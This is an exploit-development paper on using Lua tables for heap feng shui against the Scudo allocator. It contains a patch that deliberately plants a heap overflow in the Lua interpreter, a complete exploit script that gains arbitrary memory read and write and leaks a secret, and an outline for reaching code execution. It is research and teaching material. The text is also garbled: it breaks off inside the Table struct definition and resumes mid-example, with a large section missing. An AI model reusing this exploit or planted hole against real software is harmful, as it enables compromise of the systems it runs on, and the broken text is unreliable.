--- title: The Moon vs The Shield: A Study of Heap Feng Shui Using Lua author: 3nso --- |=-----------------------------------------------------------------------=| |=---=[ The Moon vs The Shield: A Study of Heap Feng Shui Using Lua ]=---=| |=-----------------------------------------------------------------------=| |=------------------------------=[ 3nso ]=-------------------------------=| |=-----------------------------------------------------------------------=| --[ Introduction In this paper, I will demonstrate how the Lua programming language can be leveraged in exploit development to manipulate the layout of the heap prior to triggering a memory corruption bug, otherwise known as heap feng shui. While the idea of leveraging scripting languages in this way is not new [1], there is a lack of resources describing how Lua can be used in this context. We will explore some techniques that can be leveraged against Scudo, the default userland allocator on Android since version 11. Although Scudo may not be the most common allocator you'll encounter, given that it is the default in modern versions of Android it's not exactly niche either. In addition, Scudo is designed to be a hardened allocator, especially designed to make things like heap feng shui difficult, and as such it should make for an interesting case study. Crucially, this paper will not talk about bugs in the Lua interpreter or virtual machine itself, although there are plenty, as a good amount of prior research has already been done in this area.[2] [3] [4] [5] [6] [7] [8] The final question to answer before we get into things is: why Lua? Well, because three billion devices run Lua! Joking aside, Lua is in more places than one might imagine. It is easily embeddable in C/C++ (in fact this is one of the key features of the language), it's small, and it's relatively efficient. It's in countless game engines for these reasons, allowing developers to script various aspects of their games more easily than having to write C/C++ code for everything. Many games that support mods allow modders to write custom Lua scripts to change the game's behavior. But it's not just games - Lua is quite frequently used as a configuration language. Neovim and the Awesome window manager spring to mind. It's also present in enterprise software, such as Redis (where it was actually the cause of a recent critical security flaw [9]) and Qualys products [10]. --[ Lua Internals Primer Before we can begin talking about the techniques, a couple of primers are needed to lay the groundwork for future explanations. Let's start with Lua internals - specifically, some useful structure definitions - so we know what's available to us when manipulating the heap. We'll be looking at Lua 5.2, since there seems to be some consensus amongst fans of the language that this is one of the best/most popular versions. It is important to note that the bytecode, and indeed many internal implementation details, are not compatible between major versions of Lua. As such, the explanations here are only applicable to Lua versions 5.2.*. They *may* work on Lua 5.1, 5.3 and 5.4, but chances are some adaptations will need to be made. A note on terminology: Lua is implemented in pure C, so there are no classes or objects; it's all just structs, unions, and native data types. Throughout the explanations below, the words "struct" and "object" will be used interchangeably to help with the flow of the explanations, but just bear in mind that whenever I say "object", that's technically incorrect, and I probably mean "struct". ----[ Tables, Tables Everywhere Tables are one of the fundamental features of Lua. Pretty much everything is a table. You want an array? It's implemented with a table. Hashmaps? Implemented with tables. Object-oriented features? Tables. The structure definition for a table is as follows: ```c #define CommonHeader GCObject *next; lu_byte tt; lu_byte marked typedef struct Table { CommonHeader; lu_byte flags; /* 1<
fun = outer(10) > print(fun()) 10 ``` Now, if we want to turn this concept into an arbitrary read, we might do something like: ```lua function read_closure(addr) -- Use our corrupted table to set the address we want to read from -- and read the value into upval1 corrupted[1] = addr local upval1 = rwtable[1] -- Closure which simply returns the value of upval1 function inner() return upval1 end return inner end function arbitrary_read(addr) -- Get our closure object inner = read_closure(addr) -- Get the address of the closure object in memory -- And get the address of the `upvals` array inner_addr = get_table_addr_str(inner) upvals_addr_addr = hex2double(inner_addr) + hex2double("20") -- Get the address of the `TValue` and corrupt its `tt_` field upvals_addr = read_addr(upvals_addr_addr) upval1_tt_addr = upvals_addr + hex2double("20") write_addr(upval1_tt_addr, 1.4821969375237e-323) -- Return the value in upval1 return inner() end ``` This is essentially an implementation of the high level strategy outlined above. The `read_closure` function creates a local variable called `upval1` and uses the corrupted table to read from an arbitrary memory address into this variable. Since we're just reading into a local variable, the Lua logic this time really is just a simple copy from one memory address to another, so we don't have to worry about any garbage collector magic. The function then creates a closure, for which the local variable `upval1` will be an upvalue, and returns it. The `arbitrary_read` function is really just a wrapper for convenience. It gets the closure object, then does some address arithmetic to find its upvalue on the heap and modify its `tt_` field so that Lua can interpret the data in some meaningful way. The `read_addr` function might look like I'm cheating here, since I'm creating an arbitrary read using an arbitrary read, but actually, the `read_addr` function is our "arbitrary" read implementation using the table trick from before. Technically, there is still a chance that using this weaker primitive will lead to a crash, since we can't guarantee that we avoid the garbage collection issue from before, but since we're only using this primitive to read from an `LClosure` object on the heap the memory layout should be more predictable and therefore our chances of hitting that pesky edge case should be significantly lower. --[ 1.4821969375237e-323 ?????????? As you read those previous sections, there was probably one particular part where you went "HUH?? WHAT?!?!". If yes, good. If no, well, I'm honestly not sure what to say. Either way, I hope you kept reading, because it's time to explain what that was all about. See, our best way to *write* arbitrary data using tables is to write *numbers*. In Lua there aren't specific integer and float types (at least prior to Lua 5.3, where the integer type was introduced), so numbers are just... numbers. Basically, we can just have numbers with "whatever" value we want, which is pretty natural for us humans. But Lua has to represent these numbers internally *somehow*, and for that, it uses the native `double` type: ```c #define LUA_NUMBER double /* type of numbers in Lua */ typedef LUA_NUMBER lua_Number; ``` This poses a bit of an interesting challenge: how do we turn a sequence of bytes we want to write into a number that can be represented in Lua, AKA a double? And better yet, how do we do this using pure Lua code? Well, the answer is we pull up the IEEE 754 standard, otherwise known as the IEEE Standard for Floating-Point Arithmetic, and start reading. I'll spare you the details of the standard, but what we really want to know is the bit-level representation of double-precision floating-point numbers. That looks a little something like this: ``` 63 52 0 +---+----------------+------------------------------------+ | S | E | F | +---+----------------+------------------------------------+ ``` In this representation, S is the sign bit, E is the exponent and F is the fraction. Given an eight-byte value that we want to represent as a double, all we need to do is mask off the correct bits from each byte to get the values of S, E, and F. Then we can use this handy formula: (-1)^S * 2^(E-1023) * (1+1/F) Two small problems though. First, Lua doesn't implement any bitwise operators - we're just going to have to use math instead. For example, if we want to mask off the N least significant bits of a number, we can just use % 2^N. For example, to get the seven least significant bits, we would use `% 0x80`. To get the four least significant bits, we would use `% 0x10`, and so on. Using this trick in combination with subtraction, addition, multiplication, and division, we can more or less re-implement the bitwise operations we need. The other issue we need to deal with is the presence of subnormals. These are double-precision floats where E=0. If this is the case, our handy formula for calculating the value of a double changes to this: (-1)^S * 2^(-1022) * (0+1/F) Thankfully, this is easy enough to deal with. For fear of putting you to sleep, I won't dwell too much more on the math, suffice to say that once we put all this together we end up with something like this: ```lua function lsl(v, s) return v * math.pow(2,s) end function hex2double(v) local bytes local S local F local E local ii local jj -- Make sure the input is 16 characters while #v < 16 do v = "0" .. v end v = string.sub(v, -16) ii = 1 jj = 1 bytes = {0,0,0,0,0,0,0,0} while ii < 16 do bytes[jj] = tonumber(string.sub(v, ii, ii+1), 16) ii = ii + 2 jj = jj + 1 end S = 1 if bytes[1] > 0x7f then S = -1 end bytes[1] = bytes[1] % 0x80 E = lsl(bytes[1], 4) + math.floor((bytes[2] - (bytes[2] % 0x10))/16) bytes[2] = bytes[2] % 0x10 F = lsl(bytes[2],48) + lsl(bytes[3],40) + lsl(bytes[4],32) + lsl(bytes[5],24) + lsl(bytes[6],16) + lsl(bytes[7],8) + bytes[8] F = F/0x10000000000000 -- Subnormals if E == 0 then return S * math.ldexp(0+F, -1022) else return S * math.ldexp(1+F, E-1023) end end ``` Note that we're using the `math` library from Lua. According to the Lua documentation, while this library is standard, it is not part of Lua core. Therefore, it is not guaranteed to be present in every environment you may encounter. If the `math` library is missing, it should be possible to re-implement all of the functions needed using pure Lua, though this would add a significant amount of effort. This all works great so far, except for a third, sneaky issue which I deliberately glossed over earlier. Those familiar with floating-point numbers might already know what the problem is. The floating point standard assigns special meaning to certain bit representations. We've already seen and dealt with one of these, which is where E=0 for subnormals. Well, E=0x7ff (all 1's) also has a special meaning. It is used to represent either NaN or infinity, depending on the value of F. This means that we cannot represent every possible sequence of eight bytes using this trick. We can, however, work around this. For example, if we wanted to write a value we cannot represent, such as 0xffffffffffffffff, we could do it by writing it as two values that we *can* represent. In this case, we would need to do two writes of 0xffffffff, four bytes apart. To ensure the writes lined up properly, we would need to perform some table trickery by first corrupting the `array` field of our read/write table to point to the address we want to write, then corrupting it again to have the same value + 4 (or -4 on little-endian systems) after the first write. Thankfully, this isn't too much of an issue, and just means for some values we need to do two writes instead of one. We actually need to deal with all the same problems when *reading* values as doubles too. Luckily, thanks to the extensive research others have done on Lua internals, there are already some solutions out there which can turn a double into an integer, so long as the double isn't one of the special values that I mentioned earlier. A great example can be found in "Bytecode Breakdown: Unraveling Factorio's Lua Security Flaws"[2] along with some tips on dealing with those special values if needed. Another fun, though potentially not very useful, trick is to use the type confusion trick mentioned earlier to get Lua to treat a value as a function rather than a number. We can do this by setting the `tt_` field of the value to 6 (this is where 2.9643938750475e-323 came from). Then, using `tostring()` on the value will give us something like: ``` function: 0xffffffffffffffff ``` where 0xffffffffffffffff is the value we were trying to read. This provides us with another potential way of working around those special values. By the way, this trick can also be used in reverse, by *writing* some arbitrary value as a number then changing its type to a function. Invoking said function will cause the value we wrote to be interpreted as the address of a Lua `Closure` object. This is outside the scope of this paper, but if we set up a fake `Closure` object, we can then leverage this to get code execution. --[ Checking for Corrupted Tables One final thing I have not yet mentioned is how to find our corrupted table once we have at random corrupted one of the many tables we have on the heap. Given that we are going to have to corrupt the `sizearray` field, it might be tempting to simply ask Lua for the size of all of the tables and see which one has a corrupted size. This would be a great idea, except Lua has to actually *access the table data* to determine a table's size, because if the table has a bunch of `nil` values at the end, Lua does not want to include them in the size returned to the user. This is a huge problem for us, given that if we corrupt `sizearray` to be `0x7fffffff`, this access of the table data is very likely to hit some memory that we cannot access and cause our target to crash. Annoying to say the least. Given that we have to access the table data anyway to determine its size, why don't *we* access the data instead, and determine whether the table has been corrupted based on what we find. It turns out there is an easy and reliable way to do this. If we access an index that is outside the bounds of the table (e.g., the fifth element of a table with only four elements), Lua simply returns `nil`. We can leverage this behavior by ensuring that all of our potential victim tables have a known size. For example, we could do something like this: ```lua victims = {} for c=1,NUM_VICTIM_TABLES do t = {1,2,3,4} victims[c] = t end ``` Then, after the memory corruption has occurred, we can do something like this to find the corrupted table: ```lua corrupted = nil for c=1,NUM_VICTIM_TABLES do if victims[c][5] ~= nil then corrupted = victims[c] end end ``` Assuming we have corrupted only one table, there should now be only one time where `victims[c][5]` is not `nil`, and that is in our corrupted table. Note that we need to be careful which index in our table we choose to check against the value `nil`. If `victims[c][5]` happens to have the value `nil`, for example due to memory being zero-initialized, then we will have a false negative and will be unable to find our corrupted table. One way around this is to keep in mind which Scudo region our table data gets allocated in. Then, we can pick an index such that the data we read is likely to line up with a Scudo chunk header or other table data, giving us a high probability that we won't accidentally read a `nil` value. --[ PoC or GTFO Now that we've got all of the theory out of the way, I can finally demonstrate a somewhat practical example. Of course, before I get started, I'll need some kind of heap corruption bug. For the sake of absolute simplicity, I'll just take the standard Lua 5.2.4 interpreter and introduce my own bug. Contrived, I know, but it will allow me to keep things simple and really focus on the technique. While I'm at it, I can also add a "secret" value with the objective of giving us something to do with our read/write primitive. If you want to create your vulnerable version of Lua, simply apply the following patch file: ```diff --- ./lua-5.2.4/src/lua.c 2025-11-14 19:31:33.360806429 +0000 +++ ./vuln-lua/src/lua.c 2025-11-16 20:28:03.737247360 +0000 @@ -89,6 +89,7 @@ static const char *progname = LUA_PROGNAME; +static int SECRET = 0xcafef00d; static void lstop (lua_State *L, lua_Debug *ar) { @@ -435,6 +436,82 @@ } +static int randomize_heap_state(lua_State *L) { + unsigned char buf[32]; + unsigned int seed; + size_t nread; + FILE *f; + int r; + int ii; + + f = NULL; + f = fopen("/dev/random", "r"); + if (!f) + goto cleanup; + + nread = fread(buf, 1, 32, f); + if (nread != 32) { + l_message(progname, "Could not seed PRNG!\n"); + goto cleanup; + } + + /* Dirty but works */ + seed = *(unsigned int*)(buf); + srand(seed); + + /* Generate random number between 1-16 */ + r = rand(); + r = (r % 16) + 1; + + /* Leak some memory making sure each allocation */ + /* is the size of a Table */ + for (ii = 0; ii < r; ii++) { + malloc(0x38); + } + + l_message(progname, "Created random number of allocations\n"); + +cleanup: + if (f) + fclose(f); + + return 0; +} + + +static int overflow(lua_State *L) { + size_t len; + const char *data; + char *buf; + + data = luaL_checkstring(L, 1); + len = strlen(data); + + /* Make sure our buffer goes next to our Tables */ + buf = malloc(0x38); + if (!buf) { + l_message(progname, "Failed to allocate buffer!\n"); + return 0; + } + + memcpy(buf, data, len); + + /* This if statement should never be true */ + /* It's just needed to avoid optimizing out the bug */ + if (buf[0] == '\x00') { + l_message(progname, "Buffer starts with null byte!\n"); + } + + return 0; +} + +static int leak_secret_addr(lua_State *L) { + char buf[1024]; + snprintf(buf, 1023, "secret addr: %p\n", &SECRET); + lua_pushstring(L, buf); + return 1; +} + static int pmain (lua_State *L) { int argc = (int)lua_tointeger(L, 1); char **argv = (char **)lua_touserdata(L, 2); @@ -457,6 +527,16 @@ lua_gc(L, LUA_GCSTOP, 0); /* stop collector during initialization */ luaL_openlibs(L); /* open libraries */ lua_gc(L, LUA_GCRESTART, 0); + + /* register our custom C functions */ + lua_pushcfunction(L, randomize_heap_state); + lua_setglobal(L, "randomize_heap_state"); + lua_pushcfunction(L, overflow); + lua_setglobal(L, "overflow"); + lua_pushcfunction(L, leak_secret_addr); + lua_setglobal(L, "leak_secret_addr"); + + if (!args[has_E] && handle_luainit(L) != LUA_OK) return 0; /* error running LUA_INIT */ /* execute arguments -e and -l */ ``` I've also added a function to leak the address of the secret value, again to make things as simple as possible, and a function to randomize the heap state. It won't be used in this example, but may be useful for anyone that wants to play around with the technique. The vulnerability itself is found in the `overflow` function. It's a very straightforward, contrived heap buffer overflow with arbitrary data. The only constraint is that any null bytes will terminate the input. Now for the actual exploit code. I've commented the code pretty heavily in the hopes that it will be as easy to understand as possible: ```lua -- Turn off the garbage collector collectgarbage("stop") -- Left shift function lsl(v, s) return v * math.pow(2,s) end -- hex2double function hex2double(v) local bytes local S local F local E local ii local jj -- Make sure the input is 16 characters while #v < 16 do v = "0" .. v end v = string.sub(v, -16) ii = 1 jj = 1 bytes = {0,0,0,0,0,0,0,0} while ii < 16 do bytes[jj] = tonumber(string.sub(v, ii, ii+1), 16) ii = ii + 2 jj = jj + 1 end S = 1 if bytes[1] > 0x7f then S = -1 end bytes[1] = bytes[1] % 0x80 E = lsl(bytes[1], 4) + math.floor((bytes[2] - (bytes[2] % 0x10))/16) bytes[2] = bytes[2] % 0x10 F = lsl(bytes[2],48) + lsl(bytes[3],40) + lsl(bytes[4],32) + lsl(bytes[5],24) + lsl(bytes[6],16) + lsl(bytes[7],8) + bytes[8] F = F/0x10000000000000 -- Subnormals if E == 0 then return S * math.ldexp(0+F, -1022) else return S * math.ldexp(1+F, E-1023) end end -- Very simple string split function function split(s, sep) if sep == nil then sep = "%s" end local t = {} for str in string.gmatch(s, "([^"..sep.."]+)") do table.insert(t, str) end return t end -- Extract address from the string representation of a table function get_table_addr_str(tbl) local tmp = split(tostring(tbl), " ") tmp = split(tmp[2], "x") return tmp[2] end -- Get the address of table as a string of bytes -- Optionally, add an offset to the table's address function get_table_addr_with_offset(tbl, offset) local addr_string = get_table_addr_str(tbl) if #addr_string % 2 ~= 0 then addr_string = "0" .. addr_string end local bytes = {} local ii = 1 local jj = 1 local b while ii < #addr_string+2 do b = string.sub(addr_string, ii, ii+1) bytes[jj] = tonumber(b, 16) jj = jj + 1 ii = ii + 2 end local rem rem = false ii = #bytes if bytes[ii] + offset > 0xff then rem = true end bytes[ii] = (bytes[ii] + offset) % 0x100 ii = ii -1 while rem == true and ii > 0 do if bytes[ii] + 1 > 0xff then rem = true else rem = false end bytes[ii] = (bytes[ii] + 1) % 0x100 ii = ii - 1 end -- Check for null bytes local found_null = false for ii=#bytes,1,-1 do if bytes[ii] == 0 then found_null = true elseif found_null then print("Address cannot contain null bytes!") return nil end end -- Convert the address to a string in little-endian form ret = "" for ii=#bytes,1,-1 do ret = ret .. string.char(bytes[ii]) end return ret end -- Create a table which we will use for our -- arbitrary read/write rwtable = {1,2} -- Get the address of the table's `array` field as a string of bytes rwtable_array = get_table_addr_with_offset(rwtable, 0x10) -- If the table's address contained a null byte -- re-allocate the table and try again while rwtable_array == nil do rwtable = {1,2} rwtable_array = get_table_addr_with_offset(rwtable, 0x10) end -- Create tables to hold references to our filler tables and victim tables -- The number of filler and victim tables needs tuning on a per-target basis NUM_FILLER_TABLES = 2730 NUM_VICTIM_TABLES = 2650 filler_tables = {} victim_tables = {} corrupted = nil -- Useful constants three = 1.5e-323 six = 3e-323 function do_feng_shui() -- Fill the current 256K section for ii=1,NUM_FILLER_TABLES do t = {} filler_tables[ii] = t end -- At this point we definitely have a fresh section -- Fill it with victim tables for ii=1,NUM_VICTIM_TABLES do t = {} victim_tables[ii] = t end end function exploit() -- Set up the heap layout do_feng_shui() -- Use the overflow to corrupt one of our victim tables buffer = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" chunk_hdr = "BBBBBBBBBBBBBBBB" nextp = "CCCCCCCC" bytes= "DDDD" sizearray = "EEEE" array = rwtable_array if array == nil then print("Unable to exploit! Table array address contained null byte!") return end payload = buffer .. chunk_hdr .. nextp .. bytes .. sizearray .. array overflow(payload) -- Find the corrupted table corrupted = nil -- Check filler tables just in case for ii=1,NUM_FILLER_TABLES do if filler_tables[ii] ~= nil and filler_tables[ii][1] ~= nil then corrupted = filler_tables[ii] end end -- Check victim tables if corrupted == nil then for ii=1,NUM_VICTIM_TABLES do if victim_tables[ii] ~= nil and victim_tables[ii][1] ~= nil then corrupted = victim_tables[ii] end end end print("corrupted:") print(corrupted) end while corrupted == nil do exploit() end -- Tables for reading data rt1 = {1,2} rt2 = {1,2} -- Set up function to write to an arbitrary address function write_addr(addr, val) -- Set the `array` pointer of rwtable to desired address using the corrupted table -- Use rwtable to write to the desired address corrupted[1] = addr rwtable[1] = val end -- Write 0x3 into the rt1 table structure so we can read its `array` pointer local rt_addr = get_table_addr_str(rt1) write_addr(hex2double(rt_addr) + hex2double("18"), three) -- Read the `array` pointer corrupted[1] = hex2double(rt_addr) + hex2double("10") local rt_array = rwtable[1] -- Set up rt2 to point to rt1's array with an offset of 0x8 local rt2_array = rt_array + hex2double("08") local rt2_addr = get_table_addr_str(rt2) write_addr(hex2double(rt2_addr) + hex2double("10"), rt2_array) -- Set up our initial arbitrary read function _read_addr(addr) corrupted[1] = addr rt1[1] = rwtable[1] rt2[1] = three return rt1[1] end -- Set up our actual arbitrary read function read_closure(addr) -- Use our corrupted table to set the address we want to read from -- and read the value into upval1 corrupted[1] = addr local upval1 = rwtable[1] -- Closure which simply returns the value of upval1 function inner() return upval1 end return inner end function read_addr(addr) -- Get our closure object inner = read_closure(addr) -- Get the address of the closure object in memory -- And get the address of the `upvals` array inner_addr = get_table_addr_str(inner) upvals_addr_addr = hex2double(inner_addr) + hex2double("20") -- Get the address of the `TValue` and corrupt its `tt_` field upvals_addr = _read_addr(upvals_addr_addr) upval1_tt_addr = upvals_addr + hex2double("20") write_addr(upval1_tt_addr, three) -- Return the value in upval1 return inner() end -- Leak the address of SECRET secret_addr_str = string.gsub(leak_secret_addr(), "%c", "") secret_addr = hex2double(split(secret_addr_str, "x")[2]) -- Read the value of SECRET secret_value = read_addr(secret_addr) print(split(split(string.format("%.13a", secret_value), ".")[2],"p")[1]) ``` There is a lot of stuff here, so let's take it from the top. First, the garbage collector is turned off to prevent it from messing with things while the exploit is running. Then, some utility functions are defined, with the main ones being `hex2double`, which we've already seen, and `get_table_addr_with_offset`, which takes a table as its input and returns a byte string containing the table's address. An offset value can also be supplied to be added to the table's address before the byte string is returned. Next, some tables needed for later are set up, along with some constants which will be used while manipulating the heap. The function `do_feng_shui` is responsible for performing the technique from earlier, allocating tables to fill up the mapped portion of a Scudo region. The `exploit` function ties everything together and finds the corrupted table. Note that in this exploit both the `sizearray` and `array` fields of the victim table are corrupted. Once the corrupted table is found, it is used to set up the read and write primitives required to read the secret value from the modified Lua interpreter. Of course, the exploit code presented above is by no means polished, and it's certainly not indicative of something that would be ready to go into a fully-fledged, polished exploit. Nevertheless, it works for our purposes here as a demonstration of the core concepts. Running this exploit against the modified Lua interpreter, we finally get the following payoff: ``` $ LD_PRELOAD=./libscudo.so ./lua-5.2.4/src/lua ./exploit.lua corrupted: table: 0x7facd248adb0 00000cafef00d Scudo ERROR: misaligned pointer when deallocating address 0x559300000003 ``` This result was produced on a Debian based 64-bit Linux VM, using the standalone version of Scudo compiled directly from the LLVM project's GitHub repository (commit hash: 4cd8c113685bcc218490b98b097f7edc61cc7c2b), in case you want to have a go at reproducing. --[ Closing Remarks This paper has presented a way to leverage Lua and its implementation of tables to manipulate heap layout prior to exploitation, and applied this technique against the Scudo allocator. My overview of Lua's internals has paid particular attention to how some of the design decisions of the language present challenges for us when developing exploits, and how these challenges can be overcome. The techniques presented here are generic. Lua can be used to manipulate the heap layout with other allocators, though the exact details of *how* to manipulate the heap depend on the implementation of the allocator. Similarly, the fact that Scudo maps memory into its regions 256KB at a time can be leveraged even in the absence of Lua, provided that you have enough control over memory allocations. Hopefully, you've found these techniques interesting, and maybe even useful. --[ Future Work As I've demonstrated, some of Lua's design decisions, such as representing all numeric data as `double`s or the use of the `TValue` struct to represent all values, present some unique challenges. I feel like some of the methods for overcoming these challenges are somewhat crude and could therefore be refined. Similarly, the feng shui technique presented against Scudo could likely do with some improvements. The main problem is that if you can't just make a hole by freeing some memory, you need to be pretty accurate in filling up the 256KB portions of memory that Scudo maps into the regions. This, in turn, makes the technique susceptible to noise, which is not ideal against more complex targets where many allocations and deallocations could be happening in the background while your exploit code is running. Unfortunately, I don't even have a good direction to start here, but I'm looking forward to seeing what the community comes up with. Of course, we didn't cover how to actually achieve code execution once you've got your arbitrary read/write primitive. I have actually developed a technique for this leveraging Lua itself but unfortunately it didn't quite make it into this paper, and it's kind of outside the scope here anyway. I'll quickly outline the technique here for the interested reader, but implementing it will be left as an exercise ;). Lua keeps all its garbage collectible objects in a linked list, and using our arbitrary read primitive it's possible to walk this linked list all the way to the top to reach the registry table. This table contains a reference to the `lua_State` object, which in turn contains a reference to the `global_State` object. This object contains a function pointer called `frealloc` which we can overwrite using our write primitive. When Lua allocates new objects it passes the `ud` member of the `global_State` as the first parameter to this function, so by overwriting this member we can even control the first parameter. Now, the next time an object is allocated by Lua we gain control of execution. Finally, the last thing to do, and perhaps the most obvious, is to find some targets and apply the techniques shown here! As I pointed out in the introduction to this paper, Lua is used today in some interesting places, and trust me, there are likely to be many more. --[ References [1] Heap Feng Shui in JavaScript - Alexander, S. https://www.blackhat.com/presentations/bh-usa-07/Sotirov/Whitepaper/bh-usa-07-sotirov-WP.pdf [2] Bytecode Breakdown: Unraveling Factorio's Lua Security Flaws - Anonymous https://memorycorruption.net/posts/rce-lua-factorio/ [3] Pwning Lua through 'load' - saelo https://saelo.github.io/posts/pwning-lua-through-load.html [4] Defeating Lua: Tips for finding vulnerabilities in Lua programming language - Anonymous https://nilarmstrong.github.io/posts/ [5] Video Games Modding Vulnerabilities - Paul, F. Lucien, M. https://github.com/gbip/lua_attack [6] Exploiting Lua 5.1 on 32-bit Windows - corsix https://gist.github.com/corsix/6575486 [7] sneaky.lua - corsix https://gist.github.com/corsix/49d770c7085e4b75f32939c6c076aad6 [8] redis.lua - benmmurphy https://gist.github.com/benmmurphy/7d609f96deab5e297918bf9a395350e2 [9] Security Advisory: CVE-2025-49844 - Redis Blog https://redis.io/blog/security-advisory-cve-2025-49844/ [10] Qualys CAR Supported Scripting Languages - Qualys Documentation https://docs.qualys.com/en/car/latest/get_started/supported_scripting_languages.htm [11] SCUDO Hardened Allocator — Unofficial Internals Documentation - BSDaemon https://www.l3harris.com/newsroom/editorial/2023/10/scudo-hardened-allocator-unofficial-internals-documentation [12] Scudo's Internals - un1fuzz https://un1fuzz.github.io/articles/scudo_internals.html [13] mediawiki-extensions-Scribunto - Wikimedia https://github.com/wikimedia/mediawiki-extensions-Scribunto/blob/master/includes/Engines/LuaCommon/lualib/mw.text.lua |=[ EOF ]=---------------------------------------------------------------=|